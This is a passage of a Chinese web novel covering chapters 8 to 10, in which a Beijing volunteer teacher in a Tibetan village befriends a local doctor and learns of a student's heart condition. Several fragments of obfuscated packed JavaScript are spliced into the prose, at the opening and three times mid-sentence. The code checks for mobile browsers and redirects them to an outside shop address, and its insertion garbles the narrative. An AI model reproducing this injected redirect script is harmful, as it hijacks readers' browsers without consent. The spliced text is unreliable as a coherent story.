0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727260|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许老师正对着手机说:“你帮我说一声,我这儿网络波动,我再……呃,再调试一下,五分钟。” 方识攸无奈:“网络波动?” “我闹铃没闹醒我。”许南珩说,“这两天太累了我睡得太死了,方大夫帮我拎一下电脑在桌上,我去洗个脸。” 方识攸走进来,这屋……怎么评价呢,充满了生活气息。 电脑在桌上,电脑包在地上,他把电源线和鼠标卷一卷放进去,电脑也放进去。许南珩抓了件纯色的外套,然后拿上牙刷牙膏,忽然问他:“我头发是不是乱七八糟?” “感觉还好。”方识攸说。 他感觉确实还好,因为许南珩这张脸能拯救一切。 忽然,兵荒马乱的许南珩停顿了下,刚才还火急火燎,忽然凝滞了。方识攸问:“又不赶时间了?” “走吧。”许南珩说,“本来也没必要装了,睡过头就是睡过头,我贵公子嘛,我娇生惯养睡懒觉。” 方识攸不解。许南珩笑了下,说:“我去刷牙洗脸。” 话虽如此,还是跑回医院的。 在方大夫的办公桌坐下,插上网线,进入视频会议。许南珩说:“不好意思啊,睡过头了。” 视频那边大家都闭麦状态,领导笑了下,说没事儿,然后开始开会。 方识攸给他倒了杯热水,出去了,带上了诊室的门。小医院的病患比较少,又是周日,清闲,方大夫今天白大褂都没穿。 在宿舍里的时候许南珩那句‘没必要装了’和‘我贵公子嘛’,再搭配他的车、电脑品牌,一身打扮,不难看出许老师家庭条件很好。 但那句‘没必要装了’,方识攸觉得他或许之前在北京一直在扮演普通人。 方大夫不禁有些唏嘘,这得是啥样的家庭才需要去‘扮演’普通人呐…… “哎?方医生。”护士在走廊碰见他,“你今天来上班啦?” “噢对,我……”方识攸指了下诊室,“处理点事情。” “哦,但今天食堂不做饭诶,高医生和桑吉医生去义诊了。”护士说,“但昨晚有剩了些牛肉饼,在冰柜里,你要吃的话自己热一热啊。” 方识攸点点头:“好的,我知道了,谢谢。” 许南珩是真困啊,他昨天奔波了一天,傍晚回来搬东西,大少爷铺床铺得歪歪扭扭还偏自己有强迫症,折腾完了又只能用刚买的开水壶烧热水,用盆在卫生间一盆盆浇自己洗澡。 他是真困啊,开会本来就是一件让人犯困的事情。更何况北京本校讲的都是官腔贼浓的,什么安全隐患、师德、耐心教育…… 许南珩告诫自己不能打瞌睡,绝对不能打瞌睡。直到那一小格一小格视频里,支教老师们的取景框,戴老师率先打了个哈欠…… 好嘛,赛博感染的许南珩赶紧抽了张纸,摁掉自己眼眶里困出来的眼泪。 于是方识攸进门想拿个充电器的时候,看见许南珩坐在电脑前边抹眼泪。 他震惊,怎么开个会还开哭了。 8. 第 8 章 犯困,人传人。 不拘什么传播条件,空气可以传播,网线也可以。 方识攸走近了才发现他是困出来的眼泪。恰好视频会议里,苏雨老师背后的狗在窝里狠狠伸了个懒腰,然后吧嗒了两下嘴,翻过身继续睡。许南珩再也撑不住了,偏头探出取景框外打了个哈欠。 然后抬头,一双朦胧泪眼与方识攸对视,方识攸无声叹气,投去一个“你撑住”的目光,从排插上拿走手机充电器出去了。 许南珩太困了,会一开完,电脑合上就直接趴下。他默念着就趴五分钟缓缓神,况且他觉得,这个趴桌的姿势很快就会胳膊酸痛,难受也难受醒了。 五分钟是个很神奇的时间段,它可以仅仅是客观的五分钟,差不多一首歌的时间。它也可以是一种跨越虫洞的时间,再次醒来的时候世界已经沧海桑田。 许南珩再次醒来的时候人是恍惚的,因为睁眼后闯入视野的是一个陌生房间。他定了定神,手边看见自己的电脑,然后慢慢抬眸,想起来了,他在方识攸的诊室里。 他坐直起来,肩膀上有个毯子滑落到腰,他回过头,拎起来,蓝色的珊瑚绒毯子,再拎高点儿,是个哆啦A梦。 许南珩眨眨眼,电脑掀开,下午13点55分。 好嘛,五分钟一睁眼成了仨小时。 许南珩“呼”了口气出来,两只手揉揉脸,再拍拍,清醒了大半。他拿起电脑旁的手机,解锁,方大夫发来了一条微信,说,醒了回个消息。 许南珩回:醒了。 俩字儿好像有点干巴,又追加一个表情,呆滞猫咪。 醒了,但懵着。 转脸的时间,诊室门从外面被推开,方识攸手里拿了个饭盒进来。许南珩有点不好意思,他赔了个笑:“不、不小心睡着了……” “没事儿。”方识攸带上门,在桌边凳子坐下,这凳子平时是患者坐。他那个饭盒是玻璃饭盒,打开来,里面两块馅饼,很明显还热着,饭盒边缘都是蒸汽水珠。 “看你睡得沉就没叫你了,昨儿剩的牛肉馅饼,我中午吃了两个,给你留了两个温在蒸炉里。”方识攸打开饭盒,“吃吧。” 见他没动,方识攸又说:“许老师,正经的高原牦牛肉剁的肉糜,手工搅打的肉馅儿,起酥的饼皮。” “不不!”许南珩恍然,“我不是挑剔,我是…我是觉得羞愧。” 方识攸噗呲一笑:“我知道,我逗逗你。” “你可别逗我了。” “吃吧,没拿筷子,筷子全进消毒柜了,直接手拿吧。” 许南珩把毯子折了一道,挂在椅背上准备起来:“那我去洗个手。” “这儿。”方识攸把桌面上的免洗洗手液推到他手边。 许南珩欲哭无泪,看着墙上略微败色的“外科诊室”活像是“儿科诊室”。他摁了两下,洗手液落进手心,开始搓。 方识攸:“手指间缝也得搓到。” 许南珩:“……您是儿科大夫吧?” 方识攸:“尚没有那么伟大。” 许南珩噗呲笑出来。 方识攸站起来,俩手揣口袋,说:“吃完去食堂把饭盒刷了然后放在桌上就行,我得回县医院了,这周的小医院轮值结束了。” “啊?”许南珩抬头看他,“这就走啦?” “对。”方识攸点头,“周一我在院里有个手术,今天过去,明早查完房就上台了。” 许南珩一听他要走,馅饼放下,跟着站起来。所以说方大夫其实早就能走了,是生等着自己睡醒,把馅饼送过来才走。 “那……那我送送你?”许南珩搜肠刮肚才想出这么一句话来。 方识攸看着他:“安心吃饭吧,我还能不认路吗。” “我就是觉得挺麻烦你的。”许南珩有点不好意思。 “没事,你初来乍到,我搭把手而已没什么。”方识攸说,“我应该两个礼拜后回来,你有什么要带的吗?” 许南珩“嗯?”了声。 方识攸了然,前些天在县城市场也是这样,感觉买一床褥子就完事了。 果然。 许南珩说:“不是刚搬了一大车东西回来吗,不用带东西,那可乐都够我喝俩礼拜了。” “成。”方识攸没劝,“这样,我回头把县医院的地址发给你,你要上网买东西就寄去那儿,写我的电话我的名字,我回头一次给你拉过来。” “真不用了。”许南珩说,“太麻烦你了方大夫。” 方识攸笑起来,“微信联系吧,我先走了。” 藏南地界清风朗朗,许南珩吃完饭刷了碗,从医院出来。他第一次在这里驻足,认真地看着自己的支教岗。 这里的山是群山,山路铺装没那么难,帕米尔高原108拐都能铺成公路,但这里群山拥挤,地质情况复杂,路窄难挖。路难行,地方经济就很难发展。 尽管这里……真的很美。 这里不输任何许南珩在APP上刷到的“这辈子一定要去的几个地方”,但这世界上美丽且无人问津的东西太多。酒香不怕巷子深吗?那人家好歹是个“巷子”,两条腿就能走进去的巷子,这儿呢,四驱的奔驰都费劲。 许南珩身材高挑,偏瘦但不羸弱,清俊的五官泛着浓浓的书生气息。茸密的眉毛下,遗传了母亲晶亮的眼睛。他眼睫长而密,小时候眼睛偏圆,像个洋娃娃,如今大了,长开了,从稚嫩可爱长成了少年英气。 “咦?” 一个声音不远不近的。 许南珩的目光落在远方山脊,他猛地回神,看向侧前方,是一个绑着低马尾的小姑娘。看上去是本地人,和许多高原地区生活的人一样,皮肤偏黑,面颊泛红。 小姑娘大约有些怕生,停下脚步,谨慎地和许南珩对峙——虽然没有任何需要对峙的理由,但就是这么对上了。 双方都非常谨慎,姑娘看上去十四五岁,个头不高,穿运动套装。 其实许南珩隐约能感觉到,这姑娘可能礼拜一就是他的学生了,他其实有点想打个招呼,但小姑娘看他就像看见闯入村庄的高原狼。 她很警惕,但她和许南珩一样,眼神之间也有迟疑。她会迟疑大概是最近听说了支教老师已经到了村里,村庄里本就很少来陌生人,而且是‘外地’得这么明显的陌生人。 不过很快,从医院大院里走出来一位护士,拿着什么东西送去救护车上,小姑娘朝护士那儿喊了句藏语,许南珩听不懂,便走开了。 周一,开学典礼。 两个班级的学生一共六十六个人,所有学生站在前操场的空地,老师们在国旗下,许南珩站在次仁老师旁边,他的另一边是学校校长措姆老师。 他前一晚把车停去了医院里,停在方大夫的车位上。还好他挪走了,不然这前院恐怕不够站的。 学生们都会说普通话,有的比较流畅有的比较磕巴。他们年龄并不统一,之前许南珩在名册上看过了,最小的一个小姑娘叫扎西卓嘎,只有13岁,最大的已经17周岁了,是汉族人,叫周洋。 校长热情且夸张地向学生们介绍了许南珩老师,尤其强调许老师是从首都北京来的,学生们真诚地发出“哦——”的声音然后齐齐鼓掌。搞得他很不好意思,很想快点跳过这一段。 然后校长偏头过来,小声询问许南珩,要不要大家一起跳个舞热闹热闹,许南珩把头摇得像触电,说,请千万不要。 开学典礼后,老师们在三楼的办公室里和许南珩开了个会,他们挺不好意思的,连连给许南珩道歉。前些天旁边村庄有个学生干农活受了伤,家里大人在外面打工,只有一老一小,他们集体过去照顾。种地、送医院、陪床。 许南珩自然说没关系,他一个成年人,哪儿就需要别人鞍前马后。 总之,目前加上许南珩,学校里一个校长五个老师两个班级,学生六十多个。许南珩拿到名册表,另外领导也说,学生们的水平都不算好,跟北京的初三生肯定没法比,让他做好心理准备。 到这里,藏区的支教岗顺利开学,许老师拿着教材走进教室。这里不像北京,北京高中的黑板是个触控屏幕,可以在屏幕上拉拽立体几何,许南珩拿了根粉笔出来,看向学生们。 “我姓许,你们的数学老师。”许南珩站上讲台时是标准的普通话,不带京腔,也不懒散,“呃,初三了,我们就不耽误时间,直接上课。” 从北京开车过来的路上,那三千多公里,许南珩设想过,要在支教岗怎么介绍自己。他觉得简练些就好,比如大家好我叫许南珩,虽然我是来支教的,但我希望我们可以相处得… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727261|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …总之就是那些话。 然而真的站到这里了,许南珩觉得这些话全都是在浪费时间。 他决定就拿这里当一个普通教室,站在这边缘略朽的讲台后边看着学生们,他对自己默念了一句话:我是来教书的我不是来传递爱的,他们需要的是成绩他们不需要任何关怀。 他们要考出去,从这个村庄,考去县城、考去山南市,甚至考去拉萨。许南珩舔了下嘴唇:“翻书,讲第一章。” 微信,支教老师群。 [谭奚:@许南珩,许老师今儿开学了吧?咋样!] 许南珩是开学最早的,谭老师在大凉山,他们那下周开学。时间是傍晚七点过半,许南珩刚在学校食堂吃完饭。 所谓食堂,就是操场边上一个砖砌的连排平房,做饭的是校长,几个老师打下手。许南珩是到点吃上饭了才知道老师们都在厨房帮忙,切菜啊洗筷子啥的,心道明儿得来早点。 [许南珩:感觉还成,学生水平比我想象中好一点。] [谭奚:那你预设的期望比较低嘛,你自己感受呢?怎么样?] 自己啊……许南珩拿着手机慢吞吞地走上二楼,来了这么多天,在高原爬楼还是要慢爬。 [许南珩:我就正常上课呗,没拿他们当贫困孩子。] 接着另一位老师加入闲聊。[戴纪绵:哎对喽,别带着怜悯,那样会显得高高在上,让学生有压力。正常教学,正常带课。] 戴老师是他们之中资历最老的,此前参加过支教。许南珩觉得很对,今天是开学第一天,所有学生都很守规矩。但毕竟是这个年纪的孩子,这年纪调皮点也正常,大概今天都收着。 所以许老师今儿比较端着,比较威严,下课前布置完作业,让他们在作业本的“2班”后面都加了个括号,括号里写“毕业班”,再跟着自己的名字。 2班(毕业班),某某某。 所以仪式这种东西有时候并不是没意义的虚假行为,人需要引导,尤其孩子,孩子很敏感。就像戴老师说的,你要是怜悯了,孩子能体会到自己真的可怜。那样不行。 许老师躺回垫了层层厚褥的床上,他决定躺会儿再起来看教材,同时想想接下来的计划。不仅是教学计划。 忽然,他灵光一闪,坐起来。 打开微信,点开方大夫的聊天框。上一条聊天记录是方识攸发给他县医院的地址,许南珩回了个“OK”。 [许南珩:方大夫,忙着没?] 虽然知道对方是医生,医生回消息讲究一个缘分,但许南珩还是端着手机在等。 也巧,方识攸这个点刚刚会诊结束。 [方识攸:许老师你说。] 许南珩直接摁着说话键:“那个……您得空的时候能在县里问问有订做校服的吗?我想订六十六套秋季校服,乘二吧一洗一换。” 发过去后,方识攸怔愣了下。 也是很快,许南珩又发来一条,他点开听。 “噢,我自己出钱,回头让校长以学校下发的理由直接发给学生,您看这样妥当吗?” 许南珩跟他说话的时候就又回到懒散的北京腔,尤其他跟他姥爷长大,青年的音色扯着大爷的调调,怪好玩的。 其实方识攸怔愣的时候在想的就是这个事儿,要是孩子们知道是支教老师出钱做校服,难免有心思细腻的会多想。但让校长发就不一样了,校长发的话,就是正经上位者向下的福利。 方识攸走回住院部的医生办公室,拧开保温杯喝了口水润润,才摁着说话键:“妥,我问问当地的同事,然后这周日去看看,回头给你答复……哎许老师,咱就别‘您’来‘您’去了吧,怪累的,成吗?” 许南珩觉得有道理。但其实跟他“您”,一方面是方识攸年纪比他大点儿,算个哥,另一方面是,他真的挺敬重医生这个职业。 他说:“好嘞方大夫,咱就当朋友了,我没几个朋友,你算一个。” 旋即许南珩又摁住说话键,添了一句:“哦对了,我昨天把车停你车位去了,忘告诉你了。” 方识攸那边回过来了,打字回的。 [随便停。] [那你回来停哪儿啊?] [我不开车了,溜达回去。] 许南珩噗呲笑了。 9. 第 9 章 这自然是开玩笑的,怎么可能溜达二十多公里回来。 方识攸说医院的停车位很充足,前后院都有地方停车。其实许南珩也猜到了,况且村庄这里也没有违停标识,但他还是要说一声的,这是个人素养。 昨天开会说要在前院办开学典礼的时候,虽然校长和老师们都没提及他那辆车,但开完会从一楼的教室里出来,许南珩忽然意识到这车太大,在院子里太占地儿了,赶紧开去医院。 接着许南珩赖在床上跟方识攸闲聊了会儿,今天很多人都问他开学第一天怎么样,北京本校之前他实习时候跟着的老师问了,妈妈问了,其他支教岗的老师也问了。不过方大夫问的角度比较精准。 [学生名字和脸能对上号吗?] [其实这也是我想定制校服的原因之一。] 藏族名字大部分是一些吉祥话。譬如班里的洛桑拉姆,这个名字的意思是“心地善良的仙女”,班里光是叫拉姆的姑娘就有仨,许南珩头都大了,一时半刻哪能记得住。而校服可以印名字,这样就像玩家脑袋上顶着ID,更好记。 方识攸那边笑了好一阵。他给许南珩说,县城村庄的孩子大部分都是寺院里的上师给取的名字,也有父母取的,孩子名字的前两个字或后两个字都可以叫。像达瓦江措老师,叫达瓦老师就行,习惯几天就好了。 接着闲聊两句后,方识攸说,他老师有个主动脉夹层手术,他一助,便结束了聊天。 许南珩下床,伸了个懒腰,走去书桌前坐下,摘表,开始写教案。摘表对许南珩来讲是一种“开始认真”的信号,他是个需要“信号”来进入状态的人。 第二天,班上又来了个小姑娘。 巧了,这小姑娘就是前两天许南珩从方识攸那儿出来的时候,在医院和学校中间的路上碰见的。 小姑娘见着许南珩也是一愣,次仁老师说,她叫达桑曲珍,昨天开学没来,是因为她爷爷前两天从屋顶下来的时候,摔了一跤,今天她爸妈从县城回来照顾爷爷,她才安心来上学。 许南珩想起那天小姑娘跑着去医院,遂点点头。次仁老师又告诉他,曲珍虽然成绩平平,但是很乖巧听话。 到今天,开学的第二天,班里孩子依然个个认真上课,收上来的作业虽然有些惨烈,基础的一元二次方程算得五花八门,还有个用上圆周率了。 许南珩决定先放缓教学节奏,他抬腕看表,清晨七点三十五分,距离打铃还有五分钟,人已经到齐了。 “行,不耽误时间了,今天提前五分钟上课,来,讲昨天的作业。”许南珩打开练习册,想起了达桑曲珍昨天没来,于是说,“达桑同学,你边听边写吧,有不懂的下课来问。” 达桑曲珍忽然被点名,有些无措,低下头快速翻开练习册。这儿的孩子不像北京的孩子,许南珩接触到的大部分北京本校的学生更从容,起码比许南珩念书那会儿从容多了,这是从家庭带来的。 这儿的孩子在老师面前会有些腼腆惧怕,北京的孩子普遍很早就在精神上更独立,所以行为上,对待教师是尊敬但不卑微,他们会点头微笑说老师好,然后收回视线继续向前走。 第二天下课,许南珩这回想着去食堂帮忙打下手。今天掌勺大厨是校长,校长叫索朗措姆,她也是扎西卓嘎的妈妈。扎西卓嘎是班里年纪最小的小姑娘,许南珩也不晓得为啥就直接来念初三了,于是趁着校长炒菜,他直接问道:“索朗老师,能问您件事儿吗,关于卓嘎的。” 索朗措姆似乎预料到了,笑了笑,往大勺里磕了些耗油,说:“你是想问卓嘎才13岁,就上初三的班级,是不是太早了。” “嗯。”许南珩撕着卷心菜,“您完全可以让她去县城,正常上初一初二。” “不行的。”索朗措姆还是微笑着的,说,“卓嘎必须留在我身边,而我必须留在这所学校。” 许南珩不解。索朗措姆大小是个校长,她的女儿去县城借读住宿舍,不看僧面看佛面,县城学校应该会给这个名额。 “盘子,许老师。”她看向许南珩右手边的空盘子。 “哦哦。”许南珩递过去。 索朗措姆将锅里的菜盛进盘子里,她左边还有两位老师在炒菜,铁锅铁铲剐着,热火朝天。 索朗措姆用只有他们两人能听清的声音说:“卓嘎有心肌病,随时有可能猝死,她的每一天都是珍贵的,我希望她呆在我身边,她也不想离开我。” “这……这样啊。”许南珩怔愣了片刻。这会儿再回忆一下扎西卓嘎这小姑娘,她确实更瘦弱些,也更白,许南珩根本没多想,只觉得她年纪小瘦小些也正常,而皮肤白,就更没什么了,大约就是平时防晒了嘛。 这确实是他没想到的。许南珩又说:“那您有考虑带她去北京吗?去、去协和呀,协和这医院很强的,还有首都天坛、很多心胸专科医院,索朗老师。” “北京的医生已经看过啦。”索朗措姆说。 有那么一瞬间许南珩想说,如果是手术费用的问题,天下那么多支教岗,偏偏让他这个京城阔少来了西藏,搞不好他就是神佛派来针对性拯救苍生的呢。 不过许南珩抓了一下重点,问:“哪个医生啊?靠不靠谱啊?索朗老师,还是要多看看的,多听取几个专家的意见。” “北京来的方识攸医生。”索朗措姆继续起锅烧油,笑眯眯的。 “哦……”许南珩点头。 “卷心菜,许老师。” “哦哦!”许南珩加快速度狂撕菜叶。 饭后,学生们排队在水龙头洗自己的碗,老师们排在洗碗队伍的最后。许南珩一只手端着碗,拇指摁着筷子,另一只手拿着手机。 他在微信上找方识攸,问他卓嘎的病情。同时很庆幸自己多嘴问了校长,否则若以后凶起来刺激到她,再有个三长两短,那他这罪过,只能去跳海了。 方识攸那边回了个很短的语音条:“稍等我一个小时。” 许南珩回:好嘞。 这一等,等了俩小时。不过许南珩明白,医生这职业就是这样,所以他回去宿舍后先让水壶烧上热水。他已经能非常娴熟地运用塑料盆在卫生间里洗澡,主要天还没冷,可以大半盆冷水兑半壶开水,浇一轮,然后洗发水洗头,擦沐浴露,再浇两盆就完事。 洗完澡改了作业,再看看教材,琢磨着什么时候给班里考个试,两个半小时就过去了。 方识攸是直接打电话过来的。 开口就是:“不好意思啊,我这边临时又开了个会。” “没事儿啊。”许南珩说,“我这又不是什么要命的事情。” 许南珩听见方识攸那边传来一声“嘭”地关上车门的声音,旋即他语气缓了下来。车厢的密闭空间会给人安全感,让人放轻松。 方识攸说:“你班里的扎西卓嘎,她是校长索朗措姆的女儿,我是三个月前到小医院轮值,过来的时候,因为是落后村庄,援藏项目里有对落后村庄的免费体检,那时候一起援藏的心血管主任看了卓嘎的心电图,说她可能心脏缺血,做了彩超和其他检查,卓嘎的左心室射血分数只有30%,正常人起码有50%,确诊了扩张型心肌病。” 许南珩安静地听着,方识攸也在用最易懂的表达方式告诉他。 方识攸继续说:“其实是我疏忽了,卓嘎在你班上,我该提前跟你打个招呼。” 听这话,许南珩赶紧说:“哪儿的话,我还能事事都指望你吗。” 方识攸那边笑了下:“因为原本我想着这事儿,后来县城患者那边出了点岔子,我给忘了。” “那卓嘎目前有什么治疗方法吗?” “心衰这个病,它有点像定时炸弹,平时没什么异样,甚至运动、情绪起伏,都没事,可一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727262|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旦出现症状,就又急又猛,目前卓嘎在吃药,按时复查,已经登记了移植。” 方识攸顿了下,又问:“你想资助她吗?” 临到这儿,方识攸觉得没必要装聋作哑。孤身一人跑藏南,浑身一股子闲散逍遥的劲儿,再加上他到医院借网线开会那天说的‘没必要装了’。 资助这个事儿,许南珩其实是有股子冲动劲的。 但他对医疗方面并不了解,于是有些试探性地,放低了声音,悄声问:“方大夫,她这个手术要多少钱啊?” 听他这么悄声说话,方识攸没忍住笑出来:“许老师,不用这么小声,就我们俩。” 这话没错,方识攸车里就他一个人,许南珩宿舍也是一个人。但许南珩发虚啊,说:“啧,打听事儿不就得悄声的嘛,你估算一下。” “其实我没法给你很准确的数字,卓嘎最理想的治疗是移植,单手术费用的话我们北京的院好像……记不太清了,四十来万吧。” “哦——” 许南珩这个哦得相当明显,下意识地就松了口气,尽管他已经非常努力地“哦”得平淡一点,就当听个新闻,但他这人藏不住事儿,没紧跟着说一句‘原来就这么点钱’已经是他近些年成熟的表现。 诚然,方识攸听出来了。他对此没什么反应,只是说:“费用方面我确实记不太清,应该有些浮动不过不会太大。” 许南珩“嗯”了声:“不要紧,只要不是三四百万那么夸张就成。” 方识攸:“不过你不需要担心卓嘎,西藏这边的医保能报的非常高,有的能达到95%,到时候实在不行了再向你求援。” 许南珩打开宿舍门,外面是走廊,走廊护栏到他胸口高。他出来是想抽根烟,但碍于这里是学校,忍住了,胳膊趴在护栏上,接着跟方识攸聊。 “好嘞,钱筹不够一定得来找我啊,一日为师终身为父。” 方识攸笑起来:“这句话不是这么用的吧许老师?” “嗐,你又不是我学生,对你不用太严谨,瞎用呗。”许南珩笑着说。 方识攸语气轻松,佯装很受伤:“哎哟,到我这就没所谓了。” “那可不,唉——方大夫,西藏的星星真多啊,我在北京二十几年没见过这么多这么亮的星星。”他抬头,从二楼走廊望向天。 方识攸也抬眼,从车子的前挡风玻璃看出去:“嗯,高原空气干净,光污染也低。” 两个人举着自己的手机,看着同一片星空,很默契地安静了一小阵。 许南珩的沉默是因为这满天的星星实在太漂亮,抬头的这一眼,从前语文课本上的那些星空描述,从文字变成了画面。 片刻后,许南珩想起电话刚开始时候方识攸那边关车门的声音,于是问:“你现在在哪儿呢?” “哦我在山南市里,刚开完会。”方识攸说,“明天市医院我老师有台手术,我给他一助,等下开车去旅馆。” “那你赶紧去休息吧,不聊了啊。”许南珩潇洒地说。 “好。”方识攸那边也干净利落。说完,各自说了句晚安拜拜之后便挂断了。 然而电话挂断后,两个人都没动。 他们相隔其实也就两百多公里,通话不过十来分钟,许南珩捏着手机倚在护栏,他还是想抽根烟。 他还想说说今天班里新来的姑娘,达桑曲珍,想聊聊藏区的孩子和北京孩子的不同,想说今儿有个学生解方程用上了圆周率。 这些事儿完全可以在群里和其他老师聊,但不知道为什么,他就想说给方识攸听。 另一边,方识攸的车迟迟没启动点火。 他舔了舔嘴唇,副驾驶放着他给许南珩从山南市区买的护眼无影台灯——等他反应过来的时候已经付钱了,想着许老师能用上就买了。 良久,方识攸终于启动了车,开向旅馆。 10. 第 10 章 支教的第一个周末,许南珩一觉睡到下午一点十五分,他妈妈打来五个电话,发了三条60秒语音。导致许南珩睁眼看手机的瞬间就清醒了,一个惊起,起得特猛,差点眼前一黑。 他连忙先给他妈拨回去。 “我差点报警!”他妈妈在电话那边怒道,“许南珩!你手机不接电话就给我寄回北京来!隔着三千多公里你不接电话你知道多吓人吗!” 许南珩挠头:“妈我睡觉呢……” “你不上课吗?!” “今儿周六啊。” 很明显的,电话那边的妈妈更强势了:“周六初三不补课吗?!” “嗯?”许南珩眼睛一眯。 好像……有点道理?他这会儿算是完全清醒了,他被他妈妈点透了。 当然,妈妈会提出这个问题,是因为许南珩上初三的时候还没出台不准补课的规定,后来许南珩毕业了他妈妈就不再关心教育政策,所以自然而然地问了这么一句。 “嗯什么嗯。”妈妈说,“我找你是告诉你一声,今天上午,你冉菲姐生宝宝了,你记得今天给她微信上发个消息祝贺她。” 冉菲是许南珩大姨家的女儿,他姐姐。许南珩说:“哦好嘞,我一会儿就发。” 他睡觉常年是静音不震动,除非物理层面上的天塌了,所以一般情况,他在睡眠状态的时候谁都找不着他。还有一位,一早上没联系上他的,是方识攸。 方大夫答应了他周日去县城里看看订制校服的地方,他问了本地的同事,同事刚好周六有空,而且同事也刚好这天要去裁缝那儿改个裤腿,方识攸就一块过去了。 原想让许南珩看看配色布料什么的,都给他发在微信上了,结果许南珩是一个字不回,电话也不接。而方识攸见识过他在自己诊室里一睡仨小时那叫一个雷打不动,大约猜到他在睡觉。 那会儿是早上九点,方识攸进退两难,他不好为许南珩做主,但店家老板今儿中午就要出发往市里去。不过幸运的是,老板答应他,等到了山南进货的市场,肯定第一时间帮他采购。当然,只要他挑好布料和颜色发去老板的微信上。 许南珩直接拨了个电话过去。 “喂?”方识攸接起来,语气带着笑,“总算醒了啊。” 许南珩:“不好意思……真不好意思,我记着你上回说周日去县里问裁缝的,所以我今天就放心睡了……” “没事儿啊,你不好意思什么,本来就是我这边临时变动了。”方识攸把笔插回白大褂的兜里,他今天在县医院的住院部,“我把老板的微信名片推给你了,因为我可能没法及时回复,你加他一下跟他详聊。” “好嘞方大夫。” “先挂了啊许老师。” 电话挂断后,方识攸在办公室坐下,啜了口茶,开始看几个床位上病人的病理和影像检查结果。 方识攸前不久在线上会议做援藏阶段总结的时候,院里心胸外科的主任略带暗示的意味,询问他目前有多少篇文章,是不是博士。方识攸的老师听说了后,告诉他,这搞不好是近两年你有戏升个副主任。 但三甲医院又有个说法,即便整个科室都知道你水平高、手术做得好,都没用,治愈率和成功率并不能看做升职的权威定论。医学是严谨科学,所以需要学术成果。而学术成果最直观的体现,就是文章见刊。 方识攸叹了口气,决定暂时不去想那么多。 昨儿半夜方识攸在急诊,送来个车祸的,浑身扎着汽车碎片和玻璃,出血出得麻醉医师都搓脸,评估结果是拍不了CT了,得直接进手术室。好在方识攸快速找到了出血点,和急诊的旺吉医生配合完成手术。 今天早上车祸病患住进外科住院部,方识攸早上补了个CT单后,病患挂完了两瓶水才去的CT室,看CT结果。他蹙起眉,肺部大面积感染的同时有积液。 这种情况方识攸能独立解决,但手在键盘上刚准备开药,悬停了片刻后,还是决定更稳妥些,先打了个电话给老师。 另一边,许南珩给方识攸打电话没打通,正在通话,转而发了条微信。 许南珩加了裁缝店老板的微信之后才知道,是方识攸先付了预付金,定制132套秋季校服,预付了500块。许南珩把500块转过去后,添了一句话:你在忙就不用回我电话了,谢谢你帮我垫付啊方大夫。 消息发出去后许南珩捏着手机看,这么讲会不会太生疏了?应该还好吧……他咂摸了会儿,收起手机。今天周六,他还不熟悉这个村庄,决定今天去逛逛看,买点吃的。 喜马拉雅山北麓,数百公里的边境线,群山环抱。许南珩原本想戴墨镜,但怕碰见学生,决定低调点,戴个鸭舌帽遮阳。 村庄的常驻人口数量许南珩不知道,县城人口两万左右,比北京一居民小区的人都少。村庄挺安静的,路面建设就是砂石路。有大黑牛站在路边发呆,偶尔有一两辆三轮摩托突突突地从旁边开过去,以及此起彼伏的犬吠。村里大多是泥瓦房,许南珩能闻见一些牲畜的味道。 “哎许老师?” 许南珩回头,一笑:“达瓦老师!” 这人便是达瓦江措,许南珩转过身朝他那儿走,边走边说:“这么巧啊。” 许南珩跟他握了握手,又问:“您今儿怎么有空来村里?” 达瓦江措背了个看着挺重的挎包,笑吟吟地说:“哦,我家就是村里的,我父亲腿脚不好,县城学校放假我就回来看看他。” “这样啊!”许南珩点点头,“那您挺辛苦。” 达瓦江措的家在村庄的一个小缓坡上,许南珩提出帮他拎一会那个挺重的包,达瓦江措连连摆手说不用。 许南珩不是个善于交际的人,从前在北京,家中送往迎来都是富家子弟,交往起来难免沾些商界利益。学生时代更不必说,父母都忙,家长会往往是项目经理代劳,可以想见许南珩在同学之中格格不入。 但在这里就不需要了,他能很舒服地跟达瓦老师闲聊。 “嗳达瓦老师,您在县城也教初三吗?”许南珩和他并排走着,问道。 达瓦江措摇摇头:“我今年带初一,哎,其实你过来了,我就轻松了,这边没有教数学的老师,你来之前,我必须每周过来两天带数学课,所以这边孩子数学底子很差。” “原来是这样。”许南珩了然。 其实许南珩这话问出来带了点试探,如果达瓦老师教初三的话,那今儿他能来村庄,就从侧面说明县初中的初三周六不补课。可达瓦老师教初一,这就不好判定了。 临到这儿,许南珩决定要不开门见山地问了吧,不就是问问能不能补课嘛。 刚要开口,达瓦江措忽然高声“嘿”了一嗓子,他朝着缓坡上的人喊道:“阿爸!!”接着是一句许南珩听不懂的藏语,但他能听出达瓦江措很着急。 “哎呀!!”达瓦老师很想冲过去,但碍于这包实在太重,太碍事。 许南珩伸手握住包带:“你给我,我来拿。” “好好!”达瓦江措一矮身把斜跨在身上的包递给他,然后拔腿向缓坡跑,边跑边用藏语急切地喊着什么。 